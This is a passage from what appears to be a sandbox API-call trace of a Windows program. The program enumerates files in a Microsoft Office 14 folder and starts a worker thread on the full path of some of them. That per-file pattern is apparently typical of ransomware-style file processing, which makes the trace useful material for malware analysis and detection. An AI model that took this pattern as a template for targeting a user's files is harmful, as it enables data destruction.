lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52ee1a00, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52ee1a00, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0x81988, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7tk.dll", cAlternateFileName="")) returned 1 [0126.802] wcscmp (_String1="mset7tk.dll", _String2=".") returned 1 [0126.802] wcscmp (_String1="mset7tk.dll", _String2="..") returned 1 [0126.802] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ed9dc00, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x69e3bb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ed9dc00, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0x10f798, dwReserved0=0x0, dwReserved1=0x0, cFileName="mset7tkjp.dll", cAlternateFileName="MSET7T~1.DLL")) returned 1 [0126.802] wcscmp (_String1="mset7tkjp.dll", _String2=".") returned 1 [0126.802] wcscmp (_String1="mset7tkjp.dll", _String2="..") returned 1 [0126.802] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ab61d00, ftCreationTime.dwHighDateTime=0x1bf9d1a, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ab61d00, ftLastWriteTime.dwHighDateTime=0x1bf9d1a, nFileSizeHigh=0x0, nFileSizeLow=0xe36, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN.ICO", cAlternateFileName="")) returned 1 [0126.802] wcscmp (_String1="MSN.ICO", _String2=".") returned 1 [0126.802] wcscmp (_String1="MSN.ICO", _String2="..") returned 1 [0126.802] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4306b00, ftCreationTime.dwHighDateTime=0x1ca223a, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb4306b00, ftLastWriteTime.dwHighDateTime=0x1ca223a, nFileSizeHigh=0x0, nFileSizeLow=0x3392, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO0127.ACL", cAlternateFileName="")) returned 1 [0126.802] wcscmp (_String1="MSO0127.ACL", _String2=".") returned 1 [0126.802] wcscmp (_String1="MSO0127.ACL", _String2="..") returned 1 [0126.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b867340 [0126.803] wcscpy (in: _Dest=0x1b867340, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0126.803] wcscat (in: _Dest=0x1b867340, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0126.803] wcscat (in: _Dest=0x1b867340, _Source="MSO0127.ACL" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MSO0127.ACL") returned="C:\\Program Files\\Microsoft Office\\Office14\\MSO0127.ACL" [0126.803] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b867340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc80 [0126.804] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76339d00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xdc9d7360, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x76339d00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x36178, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCF.DLL", cAlternateFileName="")) returned 1 [0126.804] wcscmp (_String1="MSOCF.DLL", _String2=".") returned 1 [0126.804] wcscmp (_String1="MSOCF.DLL", _String2="..") returned 1 [0126.804] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x716ee900, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xdc9fd4c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x716ee900, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x6a790, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCFU.DLL", cAlternateFileName="")) returned 1 [0126.804] wcscmp (_String1="MSOCFU.DLL", _String2=".") returned 1 [0126.804] wcscmp (_String1="MSOCFU.DLL", _String2="..") returned 1 [0126.804] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76339d00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xdc9fd4c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x76339d00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x4590, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCFUIUTILITIESDLL.DLL", cAlternateFileName="MSOCFU~1.DLL")) returned 1 [0126.804] wcscmp (_String1="MSOCFUIUTILITIESDLL.DLL", _String2=".") returned 1 [0126.804] wcscmp (_String1="MSOCFUIUTILITIESDLL.DLL", _String2="..") returned 1 [0126.804] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dadcd00, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xd61ff3a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1dadcd00, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xa7f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSODCW.DLL", cAlternateFileName="")) returned 1 [0126.804] wcscmp (_String1="MSODCW.DLL", _String2=".") returned 1 [0126.804] wcscmp (_String1="MSODCW.DLL", _String2="..") returned 1 [0126.804] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4939000, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4939000, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x17b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOHEV.DLL", cAlternateFileName="")) returned 1 [0126.804] wcscmp (_String1="MSOHEV.DLL", _String2=".") returned 1 [0126.804] wcscmp (_String1="MSOHEV.DLL", _String2="..") returned 1 [0126.804] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4939000, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4939000, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x12d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOHEVI.DLL", cAlternateFileName="")) returned 1 [0126.804] wcscmp (_String1="MSOHEVI.DLL", _String2=".") returned 1 [0126.804] wcscmp (_String1="MSOHEVI.DLL", _String2="..") returned 1 [0126.804] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a159300, ftCreationTime.dwHighDateTime=0x1ca91da, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a159300, ftLastWriteTime.dwHighDateTime=0x1ca91da, nFileSizeHigh=0x0, nFileSizeLow=0x15780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOHTMED.EXE", cAlternateFileName="")) returned 1 [0126.804] wcscmp (_String1="MSOHTMED.EXE", _String2=".") returned 1 [0126.804] wcscmp (_String1="MSOHTMED.EXE", _String2="..") returned 1 [0126.804] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa94b500, ftCreationTime.dwHighDateTime=0x1caca29, ftLastAccessTime.dwLowDateTime=0x593a1b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa94b500, ftLastWriteTime.dwHighDateTime=0x1caca29, nFileSizeHigh=0x0, nFileSizeLow=0xa398, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSTYLE.DLL", cAlternateFileName="")) returned 1 [0126.804] wcscmp (_String1="MSOSTYLE.DLL", _String2=".") returned 1 [0126.804] wcscmp (_String1="MSOSTYLE.DLL", _String2="..") returned 1 [0126.804] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d58a800, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd6297920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7d58a800, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0xde180, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSYNC.EXE", cAlternateFileName="")) returned 1 [0126.804] wcscmp (_String1="MSOSYNC.EXE", _String2=".") returned 1 [0126.805] wcscmp (_String1="MSOSYNC.EXE", _String2="..") returned 1 [0126.805] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d58a800, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd62e3be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7d58a800, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x77978, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUC.EXE", cAlternateFileName="")) returned 1 [0126.805] wcscmp (_String1="MSOUC.EXE", _String2=".") returned 1 [0126.805] wcscmp (_String1="MSOUC.EXE", _String2="..") returned 1 [0126.805] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x593c7cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x65d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUTL.OLB", cAlternateFileName="")) returned 1 [0126.805] wcscmp (_String1="MSOUTL.OLB", _String2=".") returned 1 [0126.805] wcscmp (_String1="MSOUTL.OLB", _String2="..") returned 1 [0126.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b8681c0 [0126.805] wcscpy (in: _Dest=0x1b8681c0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0126.805] wcscat (in: _Dest=0x1b8681c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0126.805] wcscat (in: _Dest=0x1b8681c0, _Source="MSOUTL.OLB" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MSOUTL.OLB") returned="C:\\Program Files\\Microsoft Office\\Office14\\MSOUTL.OLB" [0126.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8681c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc70 [0126.806] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda57df00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd6309d40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xda57df00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x45578, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUTLS.DLL", cAlternateFileName="")) returned 1 [0126.806] wcscmp (_String1="MSOUTLS.DLL", _String2=".") returned 1 [0126.806] wcscmp (_String1="MSOUTLS.DLL", _String2="..") returned 1 [0126.806] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62f00800, ftCreationTime.dwHighDateTime=0x1caba23, ftLastAccessTime.dwLowDateTime=0xbde72640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x62f00800, ftLastWriteTime.dwHighDateTime=0x1caba23, nFileSizeHigh=0x0, nFileSizeLow=0x11560, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPJEVTS.DLL", cAlternateFileName="")) returned 1 [0126.806] wcscmp (_String1="MSPJEVTS.DLL", _String2=".") returned 1 [0126.806] wcscmp (_String1="MSPJEVTS.DLL", _String2="..") returned 1 [0126.806] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcab1b00, ftCreationTime.dwHighDateTime=0x1cabea2, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcab1b00, ftLastWriteTime.dwHighDateTime=0x1cabea2, nFileSizeHigh=0x0, nFileSizeLow=0x62588, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPPT.OLB", cAlternateFileName="")) returned 1 [0126.806] wcscmp (_String1="MSPPT.OLB", _String2=".") returned 1 [0126.806] wcscmp (_String1="MSPPT.OLB", _String2="..") returned 1 [0126.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b8680c0 [0126.806] wcscpy (in: _Dest=0x1b8680c0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0126.806] wcscat (in: _Dest=0x1b8680c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0126.806] wcscat (in: _Dest=0x1b8680c0, _Source="MSPPT.OLB" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MSPPT.OLB") returned="C:\\Program Files\\Microsoft Office\\Office14\\MSPPT.OLB" [0126.807] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8680c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc6c [0126.807] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1570ec00, ftCreationTime.dwHighDateTime=0x1cbc479, ftLastAccessTime.dwLowDateTime=0xe57c63a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1570ec00, ftLastWriteTime.dwHighDateTime=0x1cbc479, nFileSizeHigh=0x0, nFileSizeLow=0xd65a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPRJ.OLB", cAlternateFileName="")) returned 1 [0126.807] wcscmp (_String1="MSPRJ.OLB", _String2=".") returned 1 [0126.807] wcscmp (_String1="MSPRJ.OLB", _String2="..") returned 1 [0126.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b8665c0 [0126.807] wcscpy (in: _Dest=0x1b8665c0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0126.808] wcscat (in: _Dest=0x1b8665c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0126.808] wcscat (in: _Dest=0x1b8665c0, _Source="MSPRJ.OLB" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MSPRJ.OLB") returned="C:\\Program Files\\Microsoft Office\\Office14\\MSPRJ.OLB" [0126.808] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8665c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc68 [0126.809] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6ae000, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xdac3c1c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6ae000, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0x4e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="msproof7.dll", cAlternateFileName="")) returned 1 [0126.809] wcscmp (_String1="msproof7.dll", _String2=".") returned 1 [0126.809] wcscmp (_String1="msproof7.dll", _String2="..") returned 1 [0126.809] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x1963b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPST32.DLL", cAlternateFileName="")) returned 1 [0126.809] wcscmp (_String1="MSPST32.DLL", _String2=".") returned 1 [0126.809] wcscmp (_String1="MSPST32.DLL", _String2="..") returned 1 [0126.809] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e01e00, ftCreationTime.dwHighDateTime=0x1cab8a8, ftLastAccessTime.dwLowDateTime=0x6a1356f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83e01e00, ftLastWriteTime.dwHighDateTime=0x1cab8a8, nFileSizeHigh=0x0, nFileSizeLow=0xdb4b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.EXE", cAlternateFileName="")) returned 1 [0126.809] wcscmp (_String1="MSPUB.EXE", _String2=".") returned 1 [0126.809] wcscmp (_String1="MSPUB.EXE", _String2="..") returned 1 [0126.809] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d978100, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5d978100, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x4b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="mspub.exe.manifest", cAlternateFileName="MSPUBE~1.MAN")) returned 1 [0126.809] wcscmp (_String1="mspub.exe.manifest", _String2=".") returned 1 [0126.809] wcscmp (_String1="mspub.exe.manifest", _String2="..") returned 1 [0126.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86b160 [0126.809] wcscpy (in: _Dest=0x1b86b160, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0126.809] wcscat (in: _Dest=0x1b86b160, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0126.809] wcscat (in: _Dest=0x1b86b160, _Source="mspub.exe.manifest" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\mspub.exe.manifest") returned="C:\\Program Files\\Microsoft Office\\Office14\\mspub.exe.manifest" [0126.809] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc64 [0126.810] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33918f00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33918f00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3ff28, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.TLB", cAlternateFileName="")) returned 1 [0126.810] wcscmp (_String1="MSPUB.TLB", _String2=".") returned 1 [0126.810] wcscmp (_String1="MSPUB.TLB", _String2="..") returned 1 [0126.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b866440 [0126.811] wcscpy (in: _Dest=0x1b866440, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0126.811] wcscat (in: _Dest=0x1b866440, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0126.811] wcscat (in: _Dest=0x1b866440, _Source="MSPUB.TLB" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MSPUB.TLB") returned="C:\\Program Files\\Microsoft Office\\Office14\\MSPUB.TLB" [0126.811] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b866440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc5c [0126.812] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32ad2d00, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32ad2d00, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0xd1160, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSQRY32.EXE", cAlternateFileName="")) returned 1 [0126.812] wcscmp (_String1="MSQRY32.EXE", _String2=".") returned 1 [0126.812] wcscmp (_String1="MSQRY32.EXE", _String2="..") returned 1 [0126.812] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e550, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSRTEDIT.DLL", cAlternateFileName="")) returned 1 [0126.812] wcscmp (_String1="MSRTEDIT.DLL", _String2=".") returned 1 [0126.812] wcscmp (_String1="MSRTEDIT.DLL", _String2="..") returned 1 [0126.812] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40dec00, ftCreationTime.dwHighDateTime=0x1cb7010, ftLastAccessTime.dwLowDateTime=0xcf055920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x40dec00, ftLastWriteTime.dwHighDateTime=0x1cb7010, nFileSizeHigh=0x0, nFileSizeLow=0xff368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTORDB.EXE", cAlternateFileName="")) returned 1 [0126.812] wcscmp (_String1="MSTORDB.EXE", _String2=".") returned 1 [0126.812] wcscmp (_String1="MSTORDB.EXE", _String2="..") returned 1 [0126.812] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7931a00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x59460250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7931a00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x20158, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTORE.EXE", cAlternateFileName="")) returned 1 [0126.812] wcscmp (_String1="MSTORE.EXE", _String2=".") returned 1 [0126.812] wcscmp (_String1="MSTORE.EXE", _String2="..") returned 1 [0126.812] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8c44700, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a28c350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8c44700, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x89b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTORES.DLL", cAlternateFileName="")) returned 1 [0126.812] wcscmp (_String1="MSTORES.DLL", _String2=".") returned 1 [0126.812] wcscmp (_String1="MSTORES.DLL", _String2="..") returned 1 [0126.812] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7466000, ftCreationTime.dwHighDateTime=0x1caccde, ftLastAccessTime.dwLowDateTime=0x6a2fe770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7466000, ftLastWriteTime.dwHighDateTime=0x1caccde, nFileSizeHigh=0x0, nFileSizeLow=0xdc158, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWORD.OLB", 